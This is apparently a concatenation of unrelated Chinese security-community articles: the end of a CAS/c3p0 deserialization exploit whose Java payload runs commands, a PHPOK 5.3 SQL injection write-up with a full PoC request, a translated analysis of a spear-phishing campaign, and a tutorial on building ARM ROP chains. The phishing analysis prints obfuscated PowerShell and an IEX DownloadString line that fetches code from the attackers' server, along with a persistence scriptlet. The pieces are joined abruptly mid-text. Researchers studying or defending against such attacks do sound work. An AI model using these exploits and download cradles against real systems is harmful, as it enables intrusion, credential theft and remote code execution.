VRU5MU0ZoV2NYb3JNMmM5UFEuUHlVb1FOdWNYS01Ra1lJZllZQ1FJaXUwQTROUkdzaExCOGMxMHczYzRWRDhHVmI1ZjRMbjZXQllmVUtKVU5FREpwZjl0ckd6N0pQTHJVLXlpMWRSRkE=
在自己的vps上编译Exploit.java，生成Exploit.class
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"cmd.exe","/C","calc.exe"}
);
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
// javac Exploit.java 生成Exploit.class
// python3 -m http.server 60006
截取cas的登录包，替换execution参数
vps上可以看到c3p0远程加载了class
# 参考链接
* <https://apereo.github.io/2016/04/08/commonsvulndisc>
* <https://twitter.com/chybeta/status/1211319480690692096> | 社区文章 |
# PHPOK 5.3 最新版前台注入
最近继续跟了一下新版的phpok，结果撞洞了，这里分享一下思路
最新版下载地址：<https://www.phpok.com/phpok.html>
## 注入点分析
底层获取参数：`$this->get()`方法
framework/init.php#get
final public function get($id,$type="safe",$ext="")
{
// PGC全局获取
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
//判断内容是否有转义，所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}
跟进format函数：framework/init.php#format
final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){
return '';
}
if(is_array($msg)){
foreach($msg as $key=>$value){
if(!is_numeric($key)){
$key2 = $this->format($key);
if($key2 == '' || in_array($key2,array('#','&','%'))){
unset($msg[$key]);
continue;
}
}
$msg[$key] = $this->format($value,$type,$ext);
}
if($msg && count($msg)>0){
return $msg;
}
return false;
}
if($type == 'html_js' || ($type == 'html' && $ext)){
$msg = stripslashes($msg);
if($this->app_id != 'admin'){
$msg = $this->lib('string')->xss_clean($msg);
}
$msg = $this->lib('string')->clear_url($msg,$this->url);
return addslashes($msg);
}
// 转义去除
$msg = stripslashes($msg);
//格式化处理内容
switch ($type){
case 'safe_text':
$msg = strip_tags($msg);
$msg = str_replace(array("\\","'",'"',"<",">"),'',$msg);
break;
case 'system':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
break;
case 'id':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
break;
case 'checkbox':
$msg = strtolower($msg) == 'on' ? 1 : $this->format($msg,'safe');
break;
case 'int':
$msg = intval($msg);
break;
case 'intval':
$msg = intval($msg);
break;
case 'float':
$msg = floatval($msg);
break;
case 'floatval':
$msg = floatval($msg);
break;
case 'time':
$msg = strtotime($msg);
break;
case 'html':
$msg = $this->lib('string')->safe_html($msg,$this->url);
break;
case 'func':
$msg = function_exists($ext) ? $ext($msg) : false;
break;
case 'text':
$msg = strip_tags($msg);
break;
default:
$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);
break;
}
if($msg){
$msg = addslashes($msg);
}
return $msg;
}
format默认为safe模式，也就是仅仅将`\ " ' < >`实体编码。
注入点：
framework/api/index_control.php#phpok_f
//...
$token = $this->get("token");
if(!$token){
$this->json(P_Lang("接口数据异常"));
}
$this->lib('token')->keyid($this->site['api_code']);
$info = $this->lib('token')->decode($token);
if(!$info){
$this->json(P_Lang('信息为空'));
}
$id = $info['id'];
// 176行
$ext = $this->get('ext');
if($ext && is_array($ext)){
foreach($ext as $key=>$value){
if(!$value){
continue;
}
// sqlext变量转义取消
if($key == 'sqlext' && $value){
$value = str_replace(array(''','"',''','"'),array("'",'"',"'",'"'),$value);
}
$param[$key] = $value;
}
}
// $id 从加密的token中来
// 拼接sqlext的值的函数只有_userlist、_arc_condition_single、_arc_condition
$list = $this->call->phpok($id,$param);
继续跟进phpok函数:framework/phpok_call.php#phpok
public function phpok($id,$rs="")
{
// 76行
$siteinfo = $this->model('site')->get_one($rs['site']);
// 91行
if(substr($id,0,1) != '_'){
//$id 从token中来，为phpok表中identifier字段， $rs['site']可控为任意值
$call_rs = $this->load_phpoklist($id,$rs['site']);
}
// 116行
$func = '_'.$call_rs['type_id'];
// 131行 动态调用函数_xxxx
return $this->$func($call_rs,$cache_id);
}
跟进load_phpoklist：framework/phpok_call.php#load_phpoklist
private function load_phpoklist($id,$siteid=0)
{
$this->model('call')->site_id($siteid);
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
$this->_cache = $this->model('call')->all($siteid,'identifier');
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
return false;
}
这一段代码`$this->model('call')->all($siteid,'identifier');`实现的是查询phpok表where
identifier=xxx的信息，接着在`phpok()`函数的131行进行动态调用其字段为`type_id`的值函数。
比如我们要调用`framework/phpok_call.php`下的`_arclist`函数，我们可以传入:
`/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')`
接着我们在`framework/phpok_call.php`寻找可触发sql的函数，从phpok表里我们可以看到其默认的type_id只有四个不同的值`arclist`、`arc`、`catelist`、`project`，而我们需要找到拼接`sqlext`变量的函数：
framework/phpok_call.php#_arclist
private function _arclist($rs,$cache_id='')
{
// 254行
$condition = $this->_arc_condition($rs,$flist,$project);
// 带入注入数据
$array['total'] = $this->model('list')->arc_count($project['module'],$condition);
}
跟进：framework/phpok_call.php#_arc_condition
直接拼接了sqlext
private function _arc_condition($rs,$fields='',$project='')
{
// 623行
if($rs['sqlext']){
$condition .= " AND ".$rs['sqlext'];
}
// 671行
return $condition;
}
接着将结果带入了：
$this->model('list')->arc_count($project['module'],$condition);
调用：framework/model/list.php#arc_count
5.jpg
拼接sql，调用`$this->db->count($sql)`
framework/engine/db/mysqli.php#count
public function count($sql="",$is_count=true)
{
if($sql && is_string($sql) && $is_count){
$this->set('type','num');
$rs = $this->get_one($sql);
$this->set('type','assoc');
return $rs[0];
}else{
if($sql && is_string($sql)){
$this->query($sql);
}
if($this->query){
return mysqli_num_rows($this->query);
}
}
return false;
}
根进get_one函数：framework/engine/db/mysqli.php#get_one
public function get_one($sql='')
{
if($sql){
$false = $this->cache_false($sql);
if($false){
return false;
}
if($this->cache_get($sql)){
return $this->cache_get($sql);
}
$this->query($sql);
根进`$this->query($sql);`:framework/engine/db/mysqli.php#query
最终将sql带入执行。
当然，到这里，其实还有一个问题没有解决，我们需要如果拿到`token=加密('id=m_picplayer')`。
framework/api/index_control.php#token_f
public function token_f()
{
$this->config('is_ajax',true);
if(!$this->site['api_code']){
$this->error(P_Lang("系统未配置接口功能"));
}
$id = $this->get('id','system');
if(!$id){
$this->error(P_Lang('未指定数据调用标识'));
}
$this->model('call')->site_id($this->site['id']);
// 限制字段where identifier=$id
$rs = $this->model('call')->get_one($id,'identifier');
if(!$rs || !$rs['status']){
$this->error(P_Lang('标识不存在或未启用'));
}
//141行
$array = array('id'=>$id,'param'=>$param);
$token = $this->lib('token')->encode($array);
$this->success($token);
}
其中第一个if条件需要在后台生成api字符串：
> 没开启的话，其实构造一个csrf的poc也是可以的
第二个条件传入`id=m_picplayer`即可。
url:`http://phpok5_3_147/api.php?c=index&f=token&id=m_picplayer`
poc:
GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close
调用栈： | 社区文章 |
# 针对卡塔尔和土耳其的鱼叉式网络钓鱼攻击
|
##### 译文声明
本文是翻译文章，文章原作者 reaqta，文章来源：reaqta.com
原文地址：<https://reaqta.com/2018/12/spear-phishing-targeting-qatar-turkey/>
译文仅供参考，具体内容表达以及含义原文为准。
在日常威胁活动追踪中，我们浏览到一条推特，报道了一起针对土耳其的鱼叉式网络钓鱼攻击活动，经过初步分析，我们决定展开进一步调查，最终发现它与其它最近活跃的威胁活动有相似之处，可能来自同一组织。
报道推文
推文链接：
https://www.virustotal.com/#/file/1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324/detection
https://www.virustotal.com/#/file/bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770/detection
## 鱼叉式网络钓鱼文件
经调查，在土耳其的鱼叉式网络钓鱼攻击中使用的文档，与之前针对卡塔尔的攻击中使用的是一样的。这个文档试图引诱受害者打开在伊斯坦布尔举行的AI
Quds协会会议邀请函，AI Quds是一个致力于“协调国际议员支持巴勒斯坦”的委员会。
使用谷歌翻译，帮助我们了解钓鱼文件的内容：
使用谷歌翻译对钓鱼文件进行翻译
邀请函邀请收件人参加12月13日至16日举行的主题为“ 耶路撒冷是巴勒斯坦永恒的首都 ”的会议。然而在官网上，并没查询到与此会议相关的公告。
## 感染策略
新、旧恶意文档使用相同的感染策略：试图诱导受害者点击“启用内容”按钮来运行恶意宏：
嵌入的宏通过命令调用powershell，然后运行从恶意主机下载的.ps1脚本。
我们使用ReaQta-Hive对攻击流程进行还原:
ReaQta-Hive还原攻击流程
Winword.exe调用cmd.exe，并执行可疑命令:
"C:WindowsSystem32cmd.exe" /c " EcHo iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )^^^| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() | pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -"
对混淆的命令行进行解密会导致实际的参数被传递到powershell.exe:
IEX (New-Object Net.WebClient).DownloadString('http://microsoftdata.linkpc.net/api/cscript')
参数传递给powershell时似乎使用了一种逃避命令行检测的方法：
pOwErSheLl -NoeX -nOlo -NOproFiLe -nOnIn -eXeCuTI BypAss -wiNdoWstYL hiDden -
该参数直接与powershell.exe“交互”，这就是为什么我们在powershell.exe命令行中看不到常见的的iEx […]
此时，powershell.exe 利用从hxxp：// microsoftdata [。] linkpc [。] net / api /
cscript上下载的脚本进行感染，下面是脚本的部分内容：
部分恶意脚本
powershell脚本主要用于窃取来自Chrome，Opera和Firefox的cookie，会话，登录凭证，还有一个键盘记录模块。窃取的数据会被上传到此C2服务器：
hxxp://microsoftdata[.]linkpc[.]net
该脚本下载与浏览器本地数据库交互所需的sqlite数据库 DLL文件 。
它创建一个全局互斥体 **GlobalrYF1pgeADA** 以避免多个窃取程序同时执行，并对键盘记录器进行初始化，执行信息窃取功能，最后持久驻存。
信息窃取代码（部分）
应该特别注意持久性机制：它通过定时任务发起
[squiblydoo攻击](https://attack.mitre.org/techniques/T1117/)：
持久性机术
定时任务
然后将执行以下scriptlet：
<?XML version="1.0"?>
<scriptlet>
<registration
progid="rYF1pgeADA"
classid="{3cf925ab-14c5-4324-9b5c-bbe294ac03a0}" >
<script language="JScript">
<![CDATA[
p = 'Powershell';
c = ' -WiND hiDdeN -nOproFILe -eXeCUTiON bypaSS -Nol -ComMa "iEx ( new-oBjeCt sYStem.Io.COmPreSSiON.defLAtEstreAm([system.Io.mEmorYStrEAM] [ConVerT]::fRomBaSE64STRing( 'BcExEkAwEAXQq+hQSHotCg2FgjbWYolNJv6M63uv75asGPirxvViQjYwzMxr44UVpWnDpz64bUISPYr8BGJt7SOUwht2bA7OeNE7klGGdVEsvZQkIi9/') , [sYsTEM.io.compressIOn.CoMpREssiOnmode]::DECOMPRESs )| % {new-oBjeCt io.STreaMreader( $_, [TexT.ENCoDInG]::aSCii )} ).REadtOEnd() "';
r = new ActiveXObject("WScript.Shell").Run(p + c,0,false);
]]>
</script>
</registration>
</scriptlet>
攻击流程进行了还原如下：
## 窃密脚本功能
如上所述，在鱼叉式网络钓鱼攻击中下载的脚本有窃取Chrome / Firefox / Opera
浏览器cookie和登录凭证、键盘记录器、持久性驻存等功能，并使用定时任务执行squiblydoo攻击。还可以从C2下载定制的脚本，这意味着攻击者可以随意扩展其攻击手段：
我们给出功能列表，以供参考：
function Set-Key
function Set-EncryptedData
function Uid
function CookiesTo-MYJson ([System.Collections.ArrayList] $ArrayList)
function PasswordsTo-MYJson ([System.Collections.ArrayList] $ArrayList)
function unProtecte ($data)
function ChromeDB
function FirefoxDB
function OperaDB
function Add-SQLite ($link)
function urlPOST($link,$data)
function OperaSESSION ($SQLiteDB,$search,$condition)
function FirefoxSESSION ($SQLiteDB,$search,$condition)
function ChromeSESSION ($SQLiteDB,$search,$condition)
function ChromePASS ($SQLiteDB)
function BrowsersLOGINS
function _sct
function InstallSCT
function BrowsersPS
function BrowsersLOGGER
function InitLOGGER
function BrowsersCOOKIES ($website,$cname)
键盘记录器相关代码似乎是从这个github库获取的：
https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Start-KeyLogger/Start-KeyLogger.ps1
## C2及历史样本
C2呈现一个很有趣的特点，那就是URL的路径始终是：/ api / {endpoint}：
http://{$domain}/api/cscript
http://{$domain}/api/pscript
http://{$domain}/api/logger/submit
http://{$domain}/api/chrome/submit
http://{$domain}/api/firefox/submit
http://{$domain}/api/opera/submit
http://{$domain}/assest/sqlite
根据这个信息，我们发现了在之前的鱼叉式网络钓鱼攻击中采用此种路径的其他样本：
正如文章开始所提到的，这个旧样本是在针对卡塔尔的攻击中发现的，攻击者当时冒充了[卡塔尔慈善机构](https://www.qcharity.org/ar/qa/)。
该样本最初是在2018年8月初发现的，与当前版本相比，只有少量代码做了改动，主要是对行为，持久性和脚本代码进行了微调：
旧样本攻击流程还原
我们已经上传了样本，VirusTotal
的行为分析[如下](https://www.virustotal.com/#/file/7c8cf1e3ec35a6f604699f6481f3463e9ae19c93b8efd861b914c8260304d314/behavior)。可以看到cmd.exe的命令未做混淆处理处理：
"C:WindowsSystem32cmd.exe" /C"EchoIEX (New-Object Net.WebClient).DownloadString('http://4host.publicvm.com/api/cscript') | PowersHell -NOpROfIL -eX BYpAss -NOlOgo -wiNdoWs HiDdEN -noeXIt -noNI -"
下面对新旧powershell脚本功能进行对比：
历史C2：
hxxp://4host[.]publicvm[.]com/
代码变化
下面这个表对元数据的变化进行了对比说明：
我们观察到的另一个共同点是：这两个域名使用了相同的动态DNS服务：[DNSExit](https://www.dnsexit.com/)。
域名linkpc
域名publicvm
## 结语
这种攻击很有意思，既因为它潜在的攻击目标，也因为所采用的技术：攻击者使用二进制文件通过powershell进行恶意攻击、用定时任务发动squiblydoo攻击实现持久性、对恶意命令进行混淆、使用难以检测的交互技术。这个威胁组织似乎很活跃，所监测到的文件证明了这些行动可能是出于政治动机，而不是单纯的网络犯罪活动。
鱼叉式网络钓鱼攻击仍然是现如今最有效的攻击手段之一，即使有安全意识的人也可能中招。 ReaQta-Hive通过人工智能自动检测目标威胁（如上文中的分析），使安全分析师能够深入威胁活动，发现异常行为。二进制payload难以检测，因此针对计算机内存的威胁攻击很容易绕过传统的防御机制，并且很难取证。可以与我们联系，通过现场演示来指导如何快速解决此类威胁。
## IOCs
1d2bbe3fd9021bbed4667628b86156bee8763b3d93cdac6de398c751a281a324 دعوة.doc
bf4d4ee4a8e4472c7968586fa0318e556a89bfd94aeb4e72afd99ab340541770 إستمارة.doc
7a26d5b600a078816beb3a2849827fa7d45ec85ec6c3343b3857f10edfece74c cscript.ps1
hxxp://microsoftdata[.]linkpc[.]net
7c8cf1e3ec35a6f604699f6481f3463e9ae19c93b8efd861b914c8260304d314 qatar.doc
hxxp://4host[.]publicvm[.]com
GlobalrYF1pgeADA mutex
GlobalwfCQnIo2G7 mutex
http://{$domain}/api/cscript
http://{$domain}/api/pscript
http://{$domain}/api/logger/submit
http://{$domain}/api/chrome/submit
http://{$domain}/api/firefox/submit
http://{$domain}/api/opera/submit
http://{$domain}/assest/sqlite
rYF1pgeADA scheduled task name
wfCQnIo2G7 scheduled task name | 社区文章 |
这一部分的目的是通过一个已知的脆弱目标开发一个ROP链的整个过程。在本例中，我构建了一个简单易受攻击的HTTP服务器（myhttpd），它在端口8080上的armbox上本地运行。我们发现受攻击的守护进程的URL参数中存在堆栈溢出。有关如何构建myhttpd或实验环境设置的详细信息，请参阅本系列的[第一篇文章](https://blog.3or.de/arm-exploitation-setup-and-tools.html "第一篇文章")。
## 查看内存映射
正如我在上一篇文章中已经提到的，我们需要一部分加载的二进制文件（.text segment，dynamicly loaded libary），在其中搜索
gadget。我用libc做我的ROP链。您可以使用任何其他或多个其他部件。
启动调试器，附加到易受攻击的进程并显示内存映射：
[root@armbox ~]# r2 -d $(pidof myhttpd)
= attach 757 757
bin.baddr 0x00400000
Using 0x400000
asm.bits 32
-- Don't look at the code. Don't look.
[0xb6ef862c]> dmm
0x00400000 /usr/bin/myhttpd
0xb68c2000 /usr/lib/libgcc_s.so.1
0xb68ef000 /usr/lib/libdl-2.28.so
0xb6902000 /usr/lib/libffi.so.6.0.4
0xb691a000 /usr/lib/libgmp.so.10.3.2
0xb6988000 /usr/lib/libhogweed.so.4.4
0xb69c6000 /usr/lib/libnettle.so.6.4
0xb6a0d000 /usr/lib/libtasn1.so.6.5.5
0xb6a2d000 /usr/lib/libunistring.so.2.1.0
0xb6ba9000 /usr/lib/libp11-kit.so.0.3.0
0xb6cae000 /usr/lib/libz.so.1.2.11
0xb6cd3000 /usr/lib/libpthread-2.28.so
0xb6cfd000 /usr/lib/libgnutls.so.30.14.11
0xb6e5a000 /usr/lib/libc-2.28.so
0xb6fa5000 /usr/lib/libmicrohttpd.so.12.46.0
0xb6fce000 /usr/lib/ld-2.28.so
[0xb6ef862c]>
使用的库/二进制文件的（r-x）段越大，就越有机会找到好的gagets。
所以我选择：
0xb6e5a000 /usr/lib/libc-2.28.so
## 查看溢出
让我们测试一个溢出！我们将发送一个长的URL到“myhttpd”，并检查寄存器和堆栈。
[root@armbox ~]# cat post_overflow │[root@armbox ~]# while true; do gdbserver --attach :5000 $(pidof myhttpd);done
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│Attached; pid = 9360
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1│Listening on port 5000
.1
守护进程崩溃了，我们看到PC被0x41414140覆盖。发生什么事了？正如我在本系列的[第二部分](https://blog.3or.de/arm-exploitation-defeating-dep-execute-system.html
"第二部分")中所解释的，溢出覆盖了非叶函数的已保存LR。一旦这个函数执行它的结束语来恢复保存的值，保存的LR就被弹出到PC中返回给调用者。
关于最低有效位的一个注意事项：BX指令基本上将加载到PC的地址的LSB复制到CPSR寄存器的T状态位，CPSR寄存器在ARM和Thumb模式之间切换核心：ARM（LSB=0）/Thumb（LSB=1）。保存的LR（用0x414141覆盖）被弹出到PC中，然后弹出地址的LSB被写入CPSR寄存器T位（位5），最后PC本身的LSB被设置为0，从而产生0x41414140。
如我们所见，R11还包含我们的值0x41414141。这意味着overflown函数将LR和R11存储并从堆栈中恢复。一些编译器使用R11作为引用来指向函数调用（帧指针）中的局部变量：
然后变量在该函数中作为FP+offset访问。
此外，正如我们在下面中看到的，堆栈包含“A”！因此我们控制PC，R11的值，并且在堆栈上有一些空间。很好。
让我们更深入地研究一下这个堆栈。以下几行显示崩溃后myhttpd进程的内存：
[0x41414140]> dm
0x00400000 # 0x00401000 - usr 4K s r-x /usr/bin/myhttpd /usr/bin/myhttpd ; loc.imp._ITM_registerTMCloneTable
0x00410000 # 0x00411000 - usr 4K s r-- /usr/bin/myhttpd /usr/bin/myhttpd
0x00411000 # 0x00412000 - usr 4K s rw- /usr/bin/myhttpd /usr/bin/myhttpd ; obj._GLOBAL_OFFSET_TABLE
0x00412000 # 0x00433000 - usr 132K s rw- [heap] [heap]
0xb5500000 # 0xb5521000 - usr 132K s rw- unk0 unk0
0xb5521000 # 0xb5600000 - usr 892K s --- unk1 unk1
0xb56ff000 # 0xb5700000 - usr 4K s --- unk2 unk2
0xb5700000 # 0xb5f00000 - usr 8M s rw- unk3 unk3
0xb5f00000 # 0xb5f21000 - usr 132K s rw- unk4 unk4
0xb5f21000 # 0xb6000000 - usr 892K s --- unk5 unk5
0xb60bf000 # 0xb60c0000 - usr 4K s --- unk6 unk6
0xb60c0000 # 0xb68c2000 - usr 8M s rw- unk7 unk7
[...]
loaded libraries
[...]
0xbefdf000 # 0xbf000000 - usr 132K s rw- [stack] [stack]
0xffff0000 # 0xffff1000 - usr 4K s r-x [vectors] [vectors]
一个值得注意的事情是，SP（SP=0xb5efea50）并没有指向为[堆栈]的部分，而是指向映射库上面（按地址）的一个段：
0xb5521000 # 0xb5600000 - usr 892K s --- unk1 unk1
了解这里发生了什么是值得的。现在，我不确定为什么r2的dm（或gdb的vmmap）在这里不显示（rw-）权限-我假设我们看到了主进程的（rw-）映射。使用的microhttpd库打开一个侦听器线程，然后为每个新连接打开一个工作线程。
检查以下strace以了解正在发生的情况（pid 363是侦听器线程，370是工作线程）：
[pid 363] mmap2(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0xb56ff000
[pid 363] mprotect(0xb5700000, 8388608, PROT_READ|PROT_WRITE) = 0
[pid 363] clone(child_stack=0xb5efef98, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0xb5eff4c8, tls=0xb5eff920, child_tidptr=0xb5eff4c8) = 370
你可以在这里找到整个 strace。
我们看到侦听器线程（glibc）正在为线程准备一个堆栈，并为其分配一个appropriate子堆栈。我花了一些时间才明白。。。为了使记忆地图形象化，我画了一张图。。。：
+------------------+-------------------------------------------------------------------------------------------+
| | |
| No R/W | ...AAAAAAA pthread_t, TLS of thread |
| permissions | mprotect(RW) <-------------------------> |
| | |
+------------------+--------------------------------------------------------------+----------------------------+
0xb56ff000 0xb5700000 ^ ^ 0xB5F00000
| |
guard memory thread stack growing downwards | +
<-----------------> <-----------------------------------------------------------+ 0xb5efef98
| SP of thread at creation
SP at crash
0xb5efea50
mmap2（）分配没有（--）权限的内存块（8392704字节，从0xb56ff000开始）（请参阅系统调用mmap2（），参数PROT_NONE）。然后，mprotect（）将（rw-）权限添加到该内存区域的某个部分，但在开始时会遗漏一点（8388608字节，从0xb570000开始）。线程堆栈（clone（）的子堆栈参数）将指向（rw-）区域。由于堆栈向下扩展内存区域，因此没有（rw-）权限的堆栈将充当保护页。由于堆栈已经增长了一点，所以我们在崩溃后观察到的SP值指向一个地址，这个地址比初始子堆栈值小一点。
好吧，让我们总结一下：我们控制了执行流，还获得了一些内存来存储我们的ROP链！
## 确定偏移
我们在上一篇文章中已经了解到，了解堆栈布局对于构建堆栈溢出至关重要。如果堆栈中存储了大量或较大的局部变量，则必须将ROP负载向更高的内存区域移动许多字节，才能达到保存的LR。因此，下一步是找到正确的偏移量（overflowgen.py脚本中的shifter变量，我将很快介绍），以便将第一个gadget的地址（因此整个ROP链和溢出数据）准确地移到保存的LR所在的位置。多年来，已经开发了很多工具来简化这项任务，其中一个包含在metasploit框架中（/usr/share/metasploit
framework/tools/pattern_create.rb）。但由于我们使用的是radare2，我们可以使用ragg2的内置Bruijin模式生成器：
[root@armbox ~]# BRUIJN=`ragg2 -r -P 250| tr -d '\n'`; echo -e "GET $BRUIJN HTTP/1.1\n" | nc 127.0.0.1 808│COMM may either be a tty device (for serial debugging),
0 │HOST:PORT to listen for a TCP connection, or '-' or 'stdio' to use
正如您所看到的，ragg2并不避免将1放入LSB中（不过，我不知道metasploit是否这样做）。因此，如果ragg2没有找到偏移量，请尝试使用+1：
* PC: 144 Bytes
* SP: 148 Bytes
为了参考生成和查询Bruijin模式的命令行:
BRUIJN=`ragg2 -r -P 250| tr -d '\n'`; echo -e "GET $BRUIJN HTTP/1.1\n" | nc 127.0.0.1 8080
然后可以使用ragg2查询找到的偏移量：`ragg2-q 0x。。。。`
## 利用漏洞
根据ROP链的长度，基本上可以执行所有在shellcode中执行的命令。尽管如此，堆栈上的空间可能会受到限制，而且构建、测试和执行shellcode要简单得多。现在我们有两个相互冲突的目标：我们在堆栈上有shellcode的内存空间，但是堆栈只有（rw-）-我们不能执行它。在创建工作线程堆栈时，我们已经遇到了systemcall
mprotect（）。没有什么能阻止我们再次使用该系统调用来生成堆栈（rwx）而不是（rw-），然后从堆栈中执行shellcode。许多经典的ROP链正是使用这种技术。。。
### 定义目标：mprotect（）的参数
mprotect（）的原型：
int mprotect(void *addr, size_t len, int prot);
*addr是mprotect（）开始应用权限的地址。结果是：在调用之后，下一个len字节将设置通过prot参数传递的权限。参数prot必须是以下值的异或：
32 #define PROT_READ 0x1 /* Page can be read. */
33 #define PROT_WRITE 0x2 /* Page can be written. */
34 #define PROT_EXEC 0x4 /* Page can be executed. */
35 #define PROT_NONE 0x0 /* Page can not be accessed. */
mman-linux.h
我们的目标寄存器值是：
* R0:线程堆栈的地址。*addr必须与系统页面大小（通常为4096字节）对齐。您希望R0小于将加载外壳代码的地址。
* R1:一些值，以确保我们的堆栈可以执行。
* R2:0x7
上一个ROP
gadget的链式指令将指向libc中mprotect（）的地址。mprotect（）将返回，下一步将执行shellcode。我想现在是讨论链式指令的好时机。。。
### 链接指令-处理BX LR
在本系列的第二部分中，当我解释了ROP的一般思想时，我已经准备好丢弃两个具有不同链接指令的gadget：POP{…，PC}和BLX
R4。然后我们讨论了叶函数和非叶函数，比较了它们的结论，发现在叶函数中使用BX
LR返回调用方。当然，这些指令也用作gadget的链接指令。既然我们不能太挑剔gadget，我们就得用我们得到的gadgets。
我认为在这一点上，我们应该很好地连锁gadget（如果没有看到上一篇文章的话）如POP{…，PC}。但是我们如何处理BX-LR？一种方法是在使用gadget（使用BX-LR作为链接指令）之前，每次使用下一个gadgets地址准备LR寄存器。这当然是可能的，但在空间方面成本相当高，而且效果不太好。一种更优雅的方法是将LR指向一个gadget，该gadget执行类似POP{PC}的操作，这样我们就可以使用BX
LR gadget，只需将下一个gadget的地址推送到堆栈上。一个简单的例子：
执行流程：
LR: 0xaaaaaaaa
+-------+ 0xaaaaaaaa : pop {pc} <-----+ 2)
| +
3) | 0xbbbbbbbb : mov r0, #1337, bx lr <---------+ 1)
|
+------> 0xcccccccc : mov r2, r1, pop {r11, pc}
执行时堆栈布局：
SP
+ 0xa... 0xc...
| +---> +---------->
v
+---------------------+-------+------------------------------+
| | 0x | JUNK | value| |
| | cc | value | for | |
| | cc | for | PC | |
| | cc | R11 | | |
| | cc | | | |
+-------------+-------+-------+------+-----------------------+
0x0
我们希望首先在0xbbbbb执行gadget，然后在0xcccccccc执行gadget。LR指向位于0xaaaaaaaa的gadget。当gadget使用BX-LR作为链接指令时，BX-LR将跳转到0xaaaaaaaa，将SP处的值弹出到PC中，然后继续执行。在我们的例子中，我们准备ROP链的方式是0xaaaaaaaa将地址0xcccccccc弹出到PC中。每次我们现在使用BX
LR 的gadget时，我们可以将下面的gadget地址推送到堆栈上，从而以更方便的方式链接它们。
有时有链式指令在任何组合中使用BL，比如BLX
R7。当我们无法避免使用这样一个gadget时，我们必须恢复LR中的值以再次指向0xaaaaaaaa，因为BL指令将用PC+4更新LR。
### 使用 ropper
我们如何找到gadget？您可以使用objdump手动分解和反汇编它们。。。但那是一种痛苦。让我介绍一下ropper：
[ropper](https://github.com/sashs/Ropper "ropper")可以很容易地安装在python
virtualenv中。检查GitHub以获取说明。
我将让以下解释最重要的特征：
dimi@dimi-lab ~ % cd arm-rop │0x0000220e (0x0000220f): pop {r0, r3, r4, r6, r7, pc};
dimi@dimi-lab ~/arm-rop % source ~/bin/ropper/bin/activate │0x00035594 (0x00035595): pop {r0, r4, pc};
(ropper) dimi@dimi-lab ~/arm-rop % ropper --file libc-2.28.so --console │0x000277e4 (0x000277e5): pop {r0, r4, r5, r6, r7, pc};
[INFO] Load gadgets from cache │0x000021e0 (0x000021e1): pop {r0, r4, r5, r7, pc};
[LOAD] loading... 100% │0x000038fc (0x000038fd): pop {r0, r5, pc};
[LOAD] removing double gadgets... 100% │0x0005d738 (0x0005d739): pop {r1, r2, r3, r7, pc};
(libc-2.28.so/ELF/ARM)>
